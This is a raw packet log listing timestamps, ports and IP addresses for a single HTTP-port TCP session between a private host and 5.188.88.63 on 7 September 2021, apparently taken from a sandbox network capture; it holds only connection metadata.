Sep 7, 2021 16:02:40.082658052 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.082685947 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.082703114 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.082715034 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.082736969 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.082748890 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.082751036 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.082784891 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.082813025 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.082942009 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.082973957 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.083957911 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.084012032 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.084049940 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.084086895 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.084125042 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.084136009 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.084158897 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.084184885 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.084234953 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.084278107 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.084307909 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.084316015 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.084326982 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.084357977 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.084398031 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.084435940 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.084475994 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.084508896 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.084513903 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.084527969 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.084563017 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.084846973 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.086533070 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.086575985 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.087274075 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.090512991 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.090559006 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.090600967 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.090639114 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.090687990 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.090730906 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.090770006 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.090868950 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.090908051 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.090918064 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.090925932 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.091629028 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.096117973 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.096162081 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.096201897 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.096239090 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.096276999 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.096316099 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.096365929 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.096411943 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.096451044 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.096492052 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.096533060 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.096571922 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.096611023 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.096656084 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.096705914 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.096721888 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.096750021 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.096756935 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.096765995 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.096771002 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.096775055 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.096790075 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.096827984 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.096868038 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.096905947 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.096914053 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.096923113 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.096945047 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.096983910 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.097032070 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.097074986 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.097114086 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.097129107 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.097135067 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.097153902 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.097167015 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.097193003 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.097232103 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.097271919 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.097310066 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.097359896 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.097382069 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.097388983 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.097393036 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.097407103 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.097445011 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.097484112 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.097522020 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.097559929 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.097598076 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.097610950 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.097616911 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.097635984 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.097666979 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.097696066 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.097742081 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.097785950 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.097800970 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.097809076 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.097824097 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.097862959 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.097901106 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.097940922 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.097980976 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.098017931 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.098066092 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.098109007 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.098146915 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.098181009 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.098218918 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.098254919 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.098267078 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.098273993 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.098277092 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.098279953 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.098283052 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.098285913 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.098295927 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.098299980 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.098326921 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.101012945 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.118128061 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.131834030 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.131928921 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.131953001 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.131974936 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.131997108 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.132019043 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.132060051 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.132399082 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.132421970 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.132535934 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.132616043 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.132642031 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.132646084 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.132648945 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.132652044 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.133399963 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.133431911 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.133611917 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.133635044 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.133651018 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.133672953 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.134027958 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.134054899 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.134077072 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.134099007 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.134119034 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.134140968 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.134160042 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.134162903 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.134169102 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.134172916 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.134176016 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.134179115 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.134185076 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.134232998 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.134262085 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.134269953 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.134686947 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.134716034 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.134740114 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.134757042 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.134756088 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.134778976 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.134799957 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.134824038 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.134939909 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.134955883 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.135622025 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.136200905 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.136631966 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.136662006 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.136683941 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.136702061 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.138289928 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.143233061 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.143261909 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.143285990 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.143307924 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.143354893 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.143378019 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.143399954 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.143419981 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.143440008 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.143755913 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.143795967 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.145394087 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.145421028 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.145442009 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.145463943 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.145487070 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.145508051 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.145530939 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.145553112 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.145558119 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.145574093 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.145576000 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.145581961 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.145586967 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.145596981 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.145618916 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.145639896 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.145661116 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.145675898 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.145679951 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.145704031 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.145718098 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.145728111 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.145818949 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.145838976 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.146456003 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.147737026 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.150629997 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.151032925 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.151063919 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.151088953 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.151110888 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.151124954 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.151154995 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.151161909 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.151375055 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.151401043 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.151463032 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.151485920 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.151571989 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.151601076 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.151667118 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.151772976 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.151774883 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.151782990 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.151801109 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.151946068 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.152009964 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.152057886 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.152080059 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.152110100 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.152272940 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.152297020 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.152419090 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.152487993 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.152514935 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.152565956 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.152590990 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.152617931 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.152643919 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.152667046 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.152689934 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.152704000 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.152713060 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.152714968 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.152738094 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.152760983 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.152813911 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.152854919 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.152863979 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.152872086 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.152879000 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.152888060 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.153486967 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.154114008 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.156141043 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.157708883 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.157736063 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.157761097 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.157784939 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.157846928 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.157861948 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.157874107 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.157900095 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.157994032 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.158034086 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.163378000 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.163419962 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.163450956 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.163480043 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.163507938 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.163535118 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.163547993 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.163563013 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.163573980 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.163589001 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.163592100 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.163619995 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.163620949 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.163652897 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.163685083 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.163712978 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.163741112 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.163754940 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.163764000 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.163769960 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.163798094 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.163825989 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.163892984 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.163914919 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.163957119 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.163986921 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.164014101 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.164045095 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.164056063 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.164072990 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.164084911 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.164108038 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.164138079 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.164164066 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.164191008 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.164217949 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.164241076 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.164279938 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.164302111 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.164391994 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.164565086 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.169378996 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.192240953 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.192275047 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.192296028 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.192317009 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.192338943 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.192362070 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.192403078 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.192428112 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.192430973 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.192555904 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.192579985 CEST	80	49744	5.188.88.63	192.168.2.4
